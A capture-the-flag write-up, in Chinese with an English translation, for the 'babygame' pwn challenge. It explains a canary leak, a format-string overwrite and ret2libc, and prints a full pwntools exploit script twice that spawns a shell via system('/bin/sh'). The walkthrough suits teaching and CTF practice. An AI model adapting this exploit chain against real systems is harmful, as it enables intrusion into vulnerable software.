babygame#

分析#

漏洞点就是栈溢出 + 格式化字符串，保护全开，需要泄露 canary、函数加载地址、libc 加载地址、栈地址。

可以在 read 的时候将，v5 的值覆盖，从而操控 seed

总结

第一次 read 的时候，输入到覆盖 canary 的最低字节，在 printf (“% s”) 泄露 canary 地址，同时在 gdb 调试的时候发现同时会泄露栈地址
attack_random 之后进入格式化字符串，此时需要泄露函数加载地址，并且需要修改函数返回地址组最低位为 0x39（调试的时候发现可以同时泄露 libc 加载地址）
重新进入 printf (buf) 中，利用 pwnlib 中的 fmtstr_payload 修改函数返回地址到 main 函数开始
此时回到 read (0, buf, 0x256)，正式进入栈溢出，ret2libc。

exp#

1
from pwn import *
2
import time
3

4
context.log_level = 'info'
5

6

7
def rand_():
8
    rd.sendlineafter('>', '1')
9
    rd.recvuntil('!>')
10
    return int(rd.recvuntil('\n'), 16)
11

12
def attack_rand():
13
    tmp = rand_() % 3
14
    if tmp == 0:
15
        return 1
16
    elif tmp == 1:
17
        return 2
18
    elif tmp == 2:
19
        return 0
20

21
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
22
# io = remote('120.25.205.249', 38573)
23
# rd = process('./rd')
24
# gdb.attach(io)
25

26
def pwn():
27
    global io, rd
28
    tmppp = 0x210
29
    while True:
30
        io.sendlineafter('Please input your name:', '1' * (0x108))
31
        rd.sendlineafter('>', str(int('0x31313131', 16)))
32

33
        io.recvuntil('111\n')
34
        canary = io.recv(7).rjust(8,'\x00')
35
        canary = u64(canary)
36
        log.success('canary: '+hex(canary))
37

38
        inp = io.recv(6).ljust(8, '\x00')
39
        inp = u64(inp)
40
        log.success('stack: '+hex(inp))
41

42

43
        context.clear(arch = 'amd64', log_level='info')
44

45
        for _ in range(100):
46
            io.sendlineafter(': \n', str(attack_rand()))
47

48
        context.clear(arch = 'amd64', log_level='debug')
49
        # p1 = "-%p- -%p-"
50
        # p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size='byte').replace('lln', 'hhn')
51

52
        p1 = '-%41$p--%27$p-'
53
        tmp = 0x39 - 0x22
54
        pt = "%" +str(tmp)+ "c" + "%10$hhn"
55
        p = p1 + '[' * (0x10 - len(p1)) + pt + 'b' * (0x10-len(pt)) + p64(inp-tmppp)
56

57
        io.sendlineafter('Good luck to you.', p)
58

59
        # s = io.recvuntil('[' * (0x10 - len(p1)))
60
        # print s
61
        # print hex(len(s))
62

63
        io.recvuntil('-')
64
        func_addr = int(io.recvuntil('-',drop=True), 16) - 0x000001543
65
        log.success('func_addr:' + hex(func_addr))
66

67
        io.recvuntil('-')
68
        atoi_addr = int(io.recvuntil('-', drop=True), 16) - 20
69
        log.success('atoi_addr:' + hex(atoi_addr))
70

71

72
        libc = ELF('./libc-2.31.so')
73
        libc_base = atoi_addr - libc.sym['atoi']
74
        log.success('libc_base:' + hex(libc_base))
75
        context.clear(arch = 'amd64', log_level='info')
76
        p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size='byte')
77

78
        try:
79
            io.sendlineafter('Good luck to you.', p)
80

81
            pop_rdi = 0x0015D2 + 1
82
            sys_addr = libc.sym['system']
83

84
            binsh = libc.search('/bin/sh').next()
85

86
            # gdb.attach(io)
87

88
            p = 'a' * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base)
89
            io.sendlineafter('Please input your name:', p)
90
            io.sendlineafter(': \n', str(attack_rand()+1))
91
            print hex(tmppp)
92
            break
93
        except:
94
            tmppp += 8
95
            log.info("tmp:  ", hex(tmppp))
96
            # io.close()
97
            rd.close()
98
            io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
99
            # io = remote('120.25.205.249', 38573)
100
            rd = process('./rd')
101

102

103

104
pwn()
105
io.interactive()

小插曲：原来脚本地能跑通，远程打不通，然后我也没注意到 q 群有说明是更新了附件，自我分析了一点，怀疑是 canary 底下的栈地址本地和远程的偏移量不同，所以写了一个偏移量的爆破。

Translate by Kimi-K3

babygame#

Challenge attachments#

https://gitee.com/csomebro/ctftask/blob/master/20220-03_HFCTF/babygame.tar

Analysis#

The vulnerability is a stack overflow plus a format string bug. All protections are enabled, so we need to leak the canary, the function load address, the libc load address, and a stack address.

During the read, we can overwrite the value of v5, thereby controlling the seed.

Summary

On the first read, input just enough to overwrite the lowest byte of the canary, then leak the canary through printf("%s"). While debugging in gdb I found that a stack address is leaked at the same time.
After attack_random we reach the format string, where we need to leak the function load address and modify the lowest byte of the function’s return address to 0x39 (while debugging I found that the libc load address can be leaked at the same time).
Re-enter printf(buf) and use fmtstr_payload from pwnlib to overwrite the function’s return address with the start of main.
Now we’re back at read(0, buf, 0x256) and can proceed with the actual stack overflow and ret2libc.

exp#

1
from pwn import *
2
import time
3

4
context.log_level = 'info'
5

6

7
def rand_():
8
    rd.sendlineafter('>', '1')
9
    rd.recvuntil('!>')
10
    return int(rd.recvuntil('\n'), 16)
11

12
def attack_rand():
13
    tmp = rand_() % 3
14
    if tmp == 0:
15
        return 1
16
    elif tmp == 1:
17
        return 2
18
    elif tmp == 2:
19
        return 0
20

21
io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
22
# io = remote('120.25.205.249', 38573)
23
# rd = process('./rd')
24
# gdb.attach(io)
25

26
def pwn():
27
    global io, rd
28
    tmppp = 0x210
29
    while True:
30
        io.sendlineafter('Please input your name:', '1' * (0x108))
31
        rd.sendlineafter('>', str(int('0x31313131', 16)))
32

33
        io.recvuntil('111\n')
34
        canary = io.recv(7).rjust(8,'\x00')
35
        canary = u64(canary)
36
        log.success('canary: '+hex(canary))
37

38
        inp = io.recv(6).ljust(8, '\x00')
39
        inp = u64(inp)
40
        log.success('stack: '+hex(inp))
41

42

43
        context.clear(arch = 'amd64', log_level='info')
44

45
        for _ in range(100):
46
            io.sendlineafter(': \n', str(attack_rand()))
47

48
        context.clear(arch = 'amd64', log_level='debug')
49
        # p1 = "-%p- -%p-"
50
        # p = fmtstr_payload(6, {inp-0x210: 0x39}, write_size='byte').replace('lln', 'hhn')
51

52
        p1 = '-%41$p--%27$p-'
53
        tmp = 0x39 - 0x22
54
        pt = "%" +str(tmp)+ "c" + "%10$hhn"
55
        p = p1 + '[' * (0x10 - len(p1)) + pt + 'b' * (0x10-len(pt)) + p64(inp-tmppp)
56

57
        io.sendlineafter('Good luck to you.', p)
58

59
        # s = io.recvuntil('[' * (0x10 - len(p1)))
60
        # print s
61
        # print hex(len(s))
62

63
        io.recvuntil('-')
64
        func_addr = int(io.recvuntil('-',drop=True), 16) - 0x000001543
65
        log.success('func_addr:' + hex(func_addr))
66

67
        io.recvuntil('-')
68
        atoi_addr = int(io.recvuntil('-', drop=True), 16) - 20
69
        log.success('atoi_addr:' + hex(atoi_addr))
70

71

72
        libc = ELF('./libc-2.31.so')
73
        libc_base = atoi_addr - libc.sym['atoi']
74
        log.success('libc_base:' + hex(libc_base))
75
        context.clear(arch = 'amd64', log_level='info')
76
        p = fmtstr_payload(6, {inp-tmppp: func_addr+0x000000014B6}, write_size='byte')
77

78
        try:
79
            io.sendlineafter('Good luck to you.', p)
80

81
            pop_rdi = 0x0015D2 + 1
82
            sys_addr = libc.sym['system']
83

84
            binsh = libc.search('/bin/sh').next()
85

86
            # gdb.attach(io)
87

88
            p = 'a' * 0x108 + p64(canary) + p64(0) * 3 + p64(pop_rdi+func_addr+1) + p64(pop_rdi+func_addr) + p64(binsh + libc_base) + p64(sys_addr+libc_base)
89
            io.sendlineafter('Please input your name:', p)
90
            io.sendlineafter(': \n', str(attack_rand()+1))
91
            print hex(tmppp)
92
            break
93
        except:
94
            tmppp += 8
95
            log.info("tmp:  ", hex(tmppp))
96
            # io.close()
97
            rd.close()
98
            io = process(['./ld-2.31.so', './babygame'], env={'LD_PRELOAD': './libc-2.31.so'})
99
            # io = remote('120.25.205.249', 38573)
100
            rd = process('./rd')
101

102

103

104
pwn()
105
io.interactive()

A little episode: the script originally worked locally but failed against the remote target. I hadn’t noticed the announcement in the QQ group saying the attachments had been updated. After some analysis on my own, I suspected the offset between the stack address below the canary differed between local and remote, so I wrote a brute-force loop over the offset.

babygame#

题目附件#

分析#

exp#

babygame#

Challenge attachments#

Analysis#

exp#